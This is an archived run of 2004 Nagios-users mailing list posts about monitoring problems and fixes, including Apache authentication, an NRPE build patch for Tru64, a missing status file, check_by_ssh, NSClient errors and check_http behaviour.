/dev/null From matt.pounsett at cira.ca Fri Mar 5 17:39:24 2004 From: matt.pounsett at cira.ca (Matt Pounsett) Date: Fri, 5 Mar 2004 11:39:24 -0500 (EST) Subject: Authentication question In-Reply-To: References: Message-ID: On Thu, 4 Mar 2004, Robert Nelson wrote: > Okay, running into another problem. Using Apache2 with Nagios v1.2 on Red > Hat 8.0. I have it set to do authentication (.htaccess as well as > use_authentication=1), have my users created. If I use an invalid login, it > locks me out. If I use a valid login, however, it only lets me log in as the > "default" user. I.e. if the default user is "windchannel" and I log on as > myself, "rob", it shows "Logged in as windchannel" You don't mention your .htaccess file. Is it installed in the sbin directory? -- Matt Pounsett CIRA - Canadian Internet Registration Authority Technical Support Programmer 350 Sparks Street, Suite 1110 matt.pounsett at cira.ca Ottawa, Ontario, Canada 613.237.5335 ext. 231 http://www.cira.ca ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From novickj at toysrus.com Fri Mar 5 19:13:20 2004 From: novickj at toysrus.com (Novick, Jeff) Date: Fri, 5 Mar 2004 13:13:20 -0500 Subject: NRPE on Tru64 Alpha Message-ID: <7CB57EABD6C23342AA8282DA820698990803BFEF@msg01psp.tru.com> Hi, I applied this patch as I was receiving the "error: storage size of `long_options' isn't known" error , but now I am receiving this error with Compaq C : # make cd ./src/; make ; cd .. cc -g -DHAVE_CONFIG_H -o nrpe nrpe.c utils.c nrpe.c: cc: Error: nrpe.c, line 520: In this declaration, "socklen_t" must specify a type. (badparsedecl) socklen_t addrlen; --------^ cc: Error: nrpe.c, line 619: In this statement, "addrlen" is not declared. (undeclared) addrlen=sizeof(addr); --------------------------------^ utils.c: *** Exit 1 Stop. *** Exit 1 Stop. cc -V Compaq C V6.3-029 on Compaq Tru64 UNIX P5.1 (Rev. 725) Compiler Driver V6.3-029 (sys) cc Driver and with gcc I get : # make cd ./src/; make ; cd .. make[1]: Entering directory `/root/source/nrpe-2.0/src' gcc -g -O2 -DHAVE_CONFIG_H -o nrpe nrpe.c utils.c nrpe.c: In function `wait_for_connections': nrpe.c:520: `socklen_t' undeclared (first use in this function) nrpe.c:520: (Each undeclared identifier is reported only once nrpe.c:520: for each function it appears in.) nrpe.c:520: syntax error before "addrlen" nrpe.c:619: `addrlen' undeclared (first use in this function) make[1]: *** [nrpe] Error 1 make[1]: Leaving directory `/root/source/nrpe-2.0/src' gcc --version gcc (GCC) 3.2.3 Copyright (C) 2002 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. What can I do? Thank you, Jeff -----Original Message----- From: Steve Feehan [mailto:sfeehan at sbb.uvm.edu] Sent: Tuesday, January 13, 2004 10:18 AM To: nagios at acmecargo.com Cc: nagios-users at lists.sourceforge.net Subject: Re: [Nagios-users] NRPE on Tru64 Alpha On Tue, Jan 13, 2004 at 09:01:39AM -0500, Steve Feehan wrote: > On Tue, Jan 13, 2004 at 07:37:05AM -0500, nagios at acmecargo.com wrote: > > I have 4 Compaq Alpha servers running Tru64. Does anybody know where source > > for the NRPE agent might exists for these platforms? > > > > Dylan > > The source is the same for all platforms. I have successfully > built nrpe for tru64 (5.1a). I recall that it required small > changes to the source code. I think it was all related to > tru64 not having getopt_long. > > Steve Here's a patch that works for me: diff -ur nrpe-2.0/src/check_nrpe.c nrpe-2.0-mod/src/check_nrpe.c --- nrpe-2.0/src/check_nrpe.c 2003-09-08 22:52:37.000000000 -0400 +++ nrpe-2.0-mod/src/check_nrpe.c 2003-12-01 18:00:48.000000000 -0500 @@ -308,7 +308,7 @@ int c=1; int i=1; -#ifdef HAVE_GETOPT_H +/* #ifdef HAVE_GETOPT_H int option_index=0; static struct option long_options[]={ {"host", required_argument, 0, 'H'}, @@ -321,7 +321,7 @@ {"license", no_argument, 0, 'l'}, {0, 0, 0, 0} }; -#endif +#endif */ /* no options were supplied */ if(argc<2) @@ -330,11 +330,11 @@ snprintf(optchars,MAX_INPUT_BUFFER,"H:c:a:t:p:nhl"); while(1){ -#ifdef HAVE_GETOPT_H +/* #ifdef HAVE_GETOPT_H c=getopt_long(argc,argv,optchars,long_options,&option_index); -#else +#else */ c=getopt(argc,argv,optchars); -#endif +/*#endif*/ if(c==-1 || c==EOF) break; diff -ur nrpe-2.0/src/nrpe.c nrpe-2.0-mod/src/nrpe.c --- nrpe-2.0/src/nrpe.c 2003-09-08 22:52:37.000000000 -0400 +++ nrpe-2.0-mod/src/nrpe.c 2003-12-01 18:01:25.000000000 -0500 @@ -1437,7 +1437,7 @@ int c=1; int have_mode=FALSE; -#ifdef HAVE_GETOPT_H +/*#ifdef HAVE_GETOPT_H int option_index=0; static struct option long_options[]={ {"config", required_argument, 0, 'c'}, @@ -1448,7 +1448,7 @@ {"license", no_argument, 0, 'l'}, {0, 0, 0, 0} }; -#endif +#endif */ /* no options were supplied */ if(argc<2) @@ -1457,11 +1457,11 @@ snprintf(optchars,MAX_INPUT_BUFFER,"c:nidhl"); while(1){ -#ifdef HAVE_GETOPT_H +/*#ifdef HAVE_GETOPT_H c=getopt_long(argc,argv,optchars,long_options,&option_index); -#else +#else */ c=getopt(argc,argv,optchars); -#endif +/* #endif */ if(c==-1 || c==EOF) break; ------------------------------------------------------- This SF.net email is sponsored by: Perforce Software. Perforce is the Fast Software Configuration Management System offering advanced branching capabilities and atomic changes on 50+ platforms. Free Eval! http://www.perforce.com/perforce/loadprog.html _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From sundar.narayanasamy at medtronic.com Fri Mar 5 20:43:29 2004 From: sundar.narayanasamy at medtronic.com (Narayanasamy, Sundar) Date: Fri, 5 Mar 2004 12:43:29 -0700 Subject: File does not exist /usr/local/nagios/share/cgi-bin, referere: http://localhost/nagios/side.html (Probably an Apache Q) Message-ID: Hello, I successfully installed nagios and configured the apache server, but when I click on the menu I get the following error: File does not exist /usr/local/nagios/share/cgi-bin, referere: http://www.blahblah.com/nagios/side.html Even though I have the following entry. I don't understand how it's getting share between nagios and cgi-bin ScriptAlias /nagios/cgi-bin/ "/usr/local/nagios/sbin/" AllowOverride AuthConfig Options ExecCGI Order allow,deny Allow from all Any help is appreciated. Sundar ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jared at wordzoo.com Fri Mar 5 21:28:26 2004 From: jared at wordzoo.com (Jared Rhine) Date: Fri, 05 Mar 2004 12:28:26 -0800 Subject: status_file, locatios.h, and no status file on start Message-ID: <87brnb3uol.wl@badger.wordzoo.com> I've installed a fresh nagios 2.0a1 and the infrastructure appears to be properly installed. But there's no status_file created when the nagios daemon starts. No errors appear in the log_file or syslog. check_nagios fails, and (most) all the CGIs say "Error: Could not read host and service status information!", as expected. I used this particular subject line, because until recently, I had been assuming that the status_file I put into nagios.cfg would be used during runtime. I know think that status_file is sort of irrelevant and the DEFAULT_STATUS_FILE in location.h is the one the nagios daemon will really use. I think this might be the case with some other *_file parameters, but I'm not sure yet. So I said fine, put everything back to the locations that Nagios 2.0a1 expects by default and thought that would be the end of it, but there's still no status.dat/log/sav created when nagios starts. I'm new to Nagios, but I'm experienced enough to suspect the usual culprits, typos, permissions, pathnames, etc. But everything looks good! Ideas welcome. Data follows. I could provide much more info, of course, but I wanted to at least show that permissions and locations seem at least reasonable. -> uname -a SunOS ops 5.8 Generic_108528-15 sun4u sparc SUNW,Ultra-250 [cd /tmp/nagios-build/build/nagios-cvs && LDFLAGS="-L/usr/local/lib -R/usr/local/lib" ./configure --prefix=/usr/local/nagios_2004-03-03_01 --localstatedir=/usr/local/ops/var/nagios --with-cgiurl=/nagios/bin --with-htmurl=/nagios --with-nagios-user=nagios --with- nagios-grp=nagios --with-command-grp=nagcmd --enable-embedded-perl --with-perlcache] -> grep -i status /tmp/nagios-build/build/nagios-cvs/include/locations.h #define DEFAULT_STATUS_FILE "/usr/local/ops/var/nagios/status.dat" -> ls -alR /usr/local/ops/var/nagios/ /usr/local/ops/var/nagios/: total 25 drwxrwxr-x 4 nagios nagios 512 Mar 5 12:00 . drwxrwxr-x 10 root sysadmin 7168 Mar 3 18:32 .. drwxrwxr-x 2 nagios nagios 512 Mar 5 12:00 archives -rw-r--r-- 1 nagios nagios 5 Mar 5 11:10 nagios.lock -rw-rw-r-- 1 nagios nagios 451 Mar 5 12:10 nagios.log -rw-r--r-- 1 nagios nagios 7849 Mar 5 11:27 objects.cache -rw-r--r-- 1 nagios nagios 4910 Mar 5 12:10 retention.dat drwxrwsr-x 2 nagios nagios 512 Mar 5 11:27 rw /usr/local/ops/var/nagios/archives: total 4 drwxrwxr-x 2 nagios nagios 512 Mar 5 12:00 . drwxrwxr-x 4 nagios nagios 512 Mar 5 12:00 .. -rw-r--r-- 1 nagios nagios 1777 Mar 5 11:40 nagios-03-05-2004-12.log /usr/local/ops/var/nagios/rw: total 2 drwxrwsr-x 2 nagios nagios 512 Mar 5 11:27 . drwxrwxr-x 4 nagios nagios 512 Mar 5 12:00 .. -> sudo -u nagios id uid=65010(nagios) gid=50003(nagios) -> ps -ef | grep nagios jrhine 18553 14149 0 12:14:22 pts/32 0:00 grep nagios nagios 2463 1 0 11:10:28 ? 0:00 /usr/local/nagios_2004-03-03_01/bin/nagios -d /usr/local/nagios_2004-03-03_01/e -> grep -i status_file /usr/local/nagios/etc/nagios.cfg status_file=/usr/local/ops/var/nagios/status.dat -> pf httpd jrhine 18785 14149 0 12:17:10 pts/32 0:00 egrep httpd nobody 15325 5595 0 15:11:44 ? 0:08 /usr/local/apache/bin/httpd -DSSL nobody 15326 5595 0 15:11:44 ? 0:10 /usr/local/apache/bin/httpd -DSSL nobody 15327 5595 0 15:11:44 ? 0:06 /usr/local/apache/bin/httpd -DSSL nobody 15328 5595 0 15:11:44 ? 0:07 /usr/local/apache/bin/httpd -DSSL nobody 15329 5595 0 15:11:44 ? 0:09 /usr/local/apache/bin/httpd -DSSL nobody 15330 5595 0 15:11:47 ? 0:05 /usr/local/apache/bin/httpd -DSSL nobody 15331 5595 0 15:11:48 ? 0:09 /usr/local/apache/bin/httpd -DSSL nobody 15332 5595 0 15:11:48 ? 0:06 /usr/local/apache/bin/httpd -DSSL nobody 15526 5595 0 15:13:42 ? 0:05 /usr/local/apache/bin/httpd -DSSL root 5595 1 0 Mar 01 ? 0:02 /usr/local/apache/bin/httpd -DSSL -> sudo -u nobody /usr/local/nagios_2004-03-03_01/libexec/check_nagios /usr/local/ops/var/nagios/status.dat 5 nagios Error: Cannot open status log for reading! -> sudo /usr/local/nagios/bin/nagios -v /usr/local/nagios/etc/nagios.cfg | tail -4 Total Warnings: 0 Total Errors: 0 Things look okay - No serious problems were detected during the pre-flight check -> sudo grep -i nagios /var/log/syslog [no results] -- jared at wordzoo.com http://www.geekcode.com/geek.html -----BEGIN GEEK CODE BLOCK----- Version: 3.12 GCM/CS/B d s:++>+ a- C++(++++)$ ULBSH++++ P+++ L+++ E++(+++) W++++ N- !o !K w !O M V PS+++(-) PE++(--) Y+ PGP>++ t@ 5 X+ R>+ tv++>-- b>++ DI+ D- G e++ h- r++>+++ y+++ ------END GEEK CODE BLOCK------ ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From marc at ena.com Fri Mar 5 21:45:43 2004 From: marc at ena.com (Marc Powell) Date: Fri, 5 Mar 2004 14:45:43 -0600 Subject: status_file, locatios.h, and no status file on start Message-ID: <370ACCFA5BB3B346A31222E5559BF91F03A306@mismail2.ena.com> On Friday, March 05, 2004 2:28 PM, Jared Rhine shared with us: > I've installed a fresh nagios 2.0a1 and the infrastructure appears to > be properly installed. But there's no status_file created when the > nagios daemon starts. No errors appear in the log_file or syslog. > check_nagios fails, and (most) all the CGIs say "Error: Could not > read host and service status information!", as expected. > FWIW, I can report that I was seeing the same behavior with both Redhat 7.3 and Fedora Core 1. After extensive troubleshooting I was not able to determine why it wasn't being created, even though I saw an unlink of the specified file using strace at nagios startup but not the expected create. At the time I chalked it up to user error on my part, probably some trivial config change I was missing, and I was waiting for the 2.0 docs to become more complete before going further. Perhaps it's something more? -- Marc ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From neil-on-nagios at restricted.dyndns.org Fri Mar 5 21:49:46 2004 From: neil-on-nagios at restricted.dyndns.org (Neil) Date: Fri, 05 Mar 2004 14:49:46 -0600 Subject: checking remote unix disk, processes Message-ID: <20040305204946.53437.qmail@restricted.dyndns.org> hey guys, can someone recommend a nice check util that allows us to check disk or processes of a remote unix command without having to install an agent on the remote unix(nagios-statd)? It's because, we can use ssh to send command to the remote unix and have the output sent back to stdout. Thanks. Any help will be greatly appreciated. Ronneil ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From marc at ena.com Fri Mar 5 22:03:56 2004 From: marc at ena.com (Marc Powell) Date: Fri, 5 Mar 2004 15:03:56 -0600 Subject: checking remote unix disk, processes Message-ID: <370ACCFA5BB3B346A31222E5559BF91F03A307@mismail2.ena.com> On Friday, March 05, 2004 2:50 PM, Neil shared with us: > hey guys, > > can someone recommend a nice check util that allows us to check disk > or processes of a remote unix command without having to install an > agent on the remote unix(nagios-statd)? > > It's because, we can use ssh to send command to the remote unix and > have the output sent back to stdout. > > Thanks. > > Any help will be greatly appreciated. Have you looked at the check_by_ssh plugin? That will allow you to install only the specific nagios plugins you are interested in on your remote machine and execute them via ssh. -- Marc ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From NAntone at ESNCC.com Fri Mar 5 22:22:30 2004 From: NAntone at ESNCC.com (Antone, Nick) Date: Fri, 5 Mar 2004 16:22:30 -0500 Subject: NSClient problems Message-ID: <82681D63B37B9C4B955AAA4B04B3BF2C381F6D@twmail.esncc.com> I had this one once. Manually remove the windows service, delete the files, reboot said server, replace the files from known good ones, reinstall, check the registry settings (make sure they have any mods that you require), and restart the service. Wait about 5-7 minutes after you install and activate before you start querying it. Somehow the program got corrupted on the M$ box. Only happened twice in the 9 months we've been using it. -Nick Nick Antone, Jr. Senior Network Engineer Engineering Services Network, Inc. nantone at esncc.com _____ From: nagios-users-admin at lists.sourceforge.net [mailto:nagios-users-admin at lists.sourceforge.net] On Behalf Of Brian J. Dent Sent: Friday, March 05, 2004 10:30 AM To: nagios-users at lists.sourceforge.net Subject: [Nagios-users] NSClient problems This is a Windows problem. I have NSClient installed on a WIN2K server. It was running fine for about 10 days. Now the results are showing: NSClient - ERROR:Malformed request or internal error. Check EventLog:None&2&10 Event Type: Error Event Source: NSClient Event Category: None Event ID: 2 Date: 03/05/2004 Time: 8:22:59 AM User: N/A Computer: TSERVER Description: Division by zero If you type pnsclient /uninstall, it fails to uninstall properly. When you reboot the server and reinstall, the problem returns. Thoughts? Regards, bjd Brian J. Dent CompuDent Systems (831) 649-2575 voice (831) 649-0948 fax (831) 224-2875 cell bjd at compudentsystems.com http://www.compudentsystems.com NOTE: This e-mail is confidential and is intended only for the recipient(s) listed. Unauthorized use or disclosure of this e-mail or any of the information in it is strictly prohibited. If you are not a listed recipient or someone authorized to receive e-mail on behalf of a listed recipient, please reply to the sender that the e-mail was misdirected and delete the e-mail. Thank you. -------------- next part -------------- An HTML attachment was scrubbed... URL: From grunky at rockriver.net Fri Mar 5 23:27:27 2004 From: grunky at rockriver.net (Roger) Date: Fri, 05 Mar 2004 16:27:27 -0600 Subject: crowded status map Message-ID: <4048FECF.3060206@rockriver.net> I'm having some trouble w/ the statusmap. I have some hosts setup but all the icons are smooshed togeter. All the images I'm using are 40x40 pngs. I've attempted to use the following define hostextinfo{ host_name cat1 icon_image_alt Catalyst Switch icon_image switch.png vrml_image switch.png statusmap_image switch.png 2d_coords 60,60 } I got the impression that specifing larger 2d_coords would space out the images a little, but that hasn't happened. Other then re-sizeing the image itself can I spread those appart? ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From matthewwilson at dsl.pipex.com Sat Mar 6 00:11:50 2004 From: matthewwilson at dsl.pipex.com (Matthew Wilson) Date: Fri, 05 Mar 2004 23:11:50 +0000 Subject: ePN in 1.2? Message-ID: <1078528309.1912.1.camel@localhost.localdomain> Hi list, I note on the changelog for nagios 1.2 that there have been some bugfixes for ePN - have the memory leak issue been resolved and is it possible to use in a stable way? We have a large number of Perl plugins and I was thinking about ePN to help address some performance issues (huge latencies...) cheers Matthew. ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From karl at debisschop.net Sat Mar 6 03:58:25 2004 From: karl at debisschop.net (Karl DeBisschop) Date: Fri, 5 Mar 2004 21:58:25 -0500 Subject: check_* -w and -c switches In-Reply-To: <20040305130557.30964.qmail@minnow.softflare.net> References: <56221198-6E1E-11D8-930C-000A95989E4A@lixfeld.ca> <20040304231810.25496.qmail@minnow.softflare.net> <20040304220311.287412ea.karl@debisschop.net> <20040305111928.21358.qmail@minnow.softflare.net> <20040305072927.2aa7ae46.karl@debisschop.net> <20040305130557.30964.qmail@minnow.softflare.net> Message-ID: <20040305215825.7bccbf41.karl@debisschop.net> On Fri, 05 Mar 2004 13:05:56 +0000 "Paul L. Allen" wrote: > Karl DeBisschop writes: > > > I will make changes to unify range processing in one function that > > supports the full syntax, then commit those along with the doco you > > provide. > > I have a perl subroutine that does the same thing which you can have > if you want it (let me know where to send it if you do). Post to the list or drop into patches against utils.pm on sourceforge (preferred) -- Karl ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From karl at debisschop.net Sat Mar 6 04:00:14 2004 From: karl at debisschop.net (Karl DeBisschop) Date: Fri, 5 Mar 2004 22:00:14 -0500 Subject: Strange behavior of check_http In-Reply-To: <4B05B471CA57554C8E0361B44297108644E491@mail.tls.123multimedia.com> References: <4B05B471CA57554C8E0361B44297108644E491@mail.tls.123multimedia.com> Message-ID: <20040305220014.733c1a41.karl@debisschop.net> On Fri, 5 Mar 2004 14:33:31 +0100 "Francois JEANMOUGIN" wrote: > Hi all, > > I used check_http succefully for months now and found a strange > behavior : > > If you use: > > check_http -H yourhost.yourcompany.com -I 1.2.3.4 -f follow -U > /test.htm -w 4 -c 6 > > You expect it to : > - connect to 1.2.3.4 port 80 > - send : > GET /test.html HTTP/1.0 > Host:yourhost.yourcompany.com > > This is usually the case. But if youhost.yourcompany.com is defined in > /etc/hosts (say, with another IP like 1.2.3.100), then, this will > override the -I option... The application will connect to 1.2.3.100 > instead of the 1.2.3.4 defined in the command line option. > > Is it a bug or a feature? I had a look at the check_http.c code, and > have to confess that I didn't find the reason of it. Any idea from the > devs ? Bug. What plugin version? What OS version? -- Karl ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From ben at atomicmatrix.net Sat Mar 6 13:05:32 2004 From: ben at atomicmatrix.net (Ben Goodwin) Date: Sat, 6 Mar 2004 07:05:32 -0500 Subject: traliing slash in URL path configuration In-Reply-To: References: Message-ID: It must be doing this because there's either no ServerName or a bad ServerName specified in the virtualhost or main config (depending on how your apache is set up). If ServerName is properly set up, UseCanonical should work fine. What happens is apache sends the redirect using the ServerName in the path - and if ServerName's wrong, the browser will get routed to the wrong place. -=| Ben -----Original Message----- From: nagios-users-admin at lists.sourceforge.net [mailto:nagios-users-admin at lists.sourceforge.net] On Behalf Of Yao, Jack Sent: Tuesday, March 02, 2004 7:03 PM To: 'Cook, Garry'; Nagios mail user list (nagios-users at lists.sourceforge.net) Subject: RE: [Nagios-users] traliing slash in URL path configuration Thanks so much Gary. It is the answer to the whole traliaing slash thing. UseCanonical directive has to be set to "off" in order to have the Alias directive to work as it is configured, otherwise Apache will keep sending the unknown URL to http://_default_/[directory] Also thanks to everyone that have been very helpful to me as well. Jack ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From matthewwilson at dsl.pipex.com Sat Mar 6 17:27:48 2004 From: matthewwilson at dsl.pipex.com (Matthew Wilson) Date: Sat, 06 Mar 2004 16:27:48 +0000 Subject: building plugins - --with-ping-command Message-ID: <1078590467.1928.10.camel@localhost.localdomain> Hello list, I need to build the check_ping plugin so it will use the command-line options '-i 2 -s 20' to avoid some restrictions on our network. So with nagios-plugins 1.3.1 I do #./configure --with-ping-command='/bin/ping -i 2 -n -s 20 -c %d %s' The script correctly picks up the syntax... but after doing make all the plugin will segfault! any suggestion greatly appreciated Matthew Wilson DC-Sat.net but then the plugin segfaults ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From neil-on-nagios at restricted.dyndns.org Sun Mar 7 07:43:25 2004 From: neil-on-nagios at restricted.dyndns.org (Neil) Date: Sun, 07 Mar 2004 00:43:25 -0600 Subject: checking remote unix disk, processes In-Reply-To: <370ACCFA5BB3B346A31222E5559BF91F03A307@mismail2.ena.com> References: <370ACCFA5BB3B346A31222E5559BF91F03A307@mismail2.ena.com> Message-ID: <20040307064325.837.qmail@restricted.dyndns.org> Hi Marc, Yeah, I tried your suggestion and it works now. I found out that the check_by_ssh didn't have any parameter for password so I had to execute ssh-keygen to create the .pub file. Thanks. Marc Powell writes: > On Friday, March 05, 2004 2:50 PM, Neil shared with us: > >> hey guys, >> >> can someone recommend a nice check util that allows us to check disk >> or processes of a remote unix command without having to install an >> agent on the remote unix(nagios-statd)? >> >> It's because, we can use ssh to send command to the remote unix and >> have the output sent back to stdout. >> >> Thanks. >> >> Any help will be greatly appreciated. > > > Have you looked at the check_by_ssh plugin? That will allow you to > install only the specific nagios plugins you are interested in on your > remote machine and execute them via ssh. > > -- > Marc > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id70&alloc_id638&opclick > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. > ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From neil-on-nagios at restricted.dyndns.org Sun Mar 7 08:05:48 2004 From: neil-on-nagios at restricted.dyndns.org (Neil) Date: Sun, 07 Mar 2004 01:05:48 -0600 Subject: html target TAG Message-ID: <20040307070548.2489.qmail@restricted.dyndns.org> Hey guys, When we add information to hostextinfo.cfg such as host_name, icon_image, we get a new icon just close beside to the right of the hostname in the Nagios web based-interface. I added a notes_url to it and it's working. What I want to do now is to delete TARGET="_blank" for that part only because I am planning to use javascript's window.open. What file should I modify to that it will NOT include TARGET="_blank"? Btw, I have already had a successful window.open but it's annoying because, two new windows are created. Let me know. Any help will be grealy appreciated. Thanks, Neil ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From neil-on-nagios at restricted.dyndns.org Sun Mar 7 09:06:45 2004 From: neil-on-nagios at restricted.dyndns.org (Neil) Date: Sun, 07 Mar 2004 02:06:45 -0600 Subject: html target TAG In-Reply-To: <20040307070548.2489.qmail@restricted.dyndns.org> References: <20040307070548.2489.qmail@restricted.dyndns.org> Message-ID: <20040307080645.6853.qmail@restricted.dyndns.org> Forget this post guys, I got it working by modifying status.c and rebuilding it. :) This is what I have now: if(temp_hostextinfo->notes_url!=NULL){ printf(""); Neil writes: > Hey guys, > > When we add information to hostextinfo.cfg such as host_name, icon_image, > we get a new icon just close beside to the right of the hostname in the > Nagios web based-interface. I added a notes_url to it and it's working. > What I want to do now is to delete TARGET="_blank" for that part only > because I am planning to use javascript's window.open. What file should I > modify to that it will NOT include TARGET="_blank"? Btw, I have already > had a successful window.open but it's annoying because, two new windows > are created. > > Let me know. Any help will be grealy appreciated. > > Thanks, > > Neil > > > ------------------------------------------------------- > This SF.Net email is sponsored 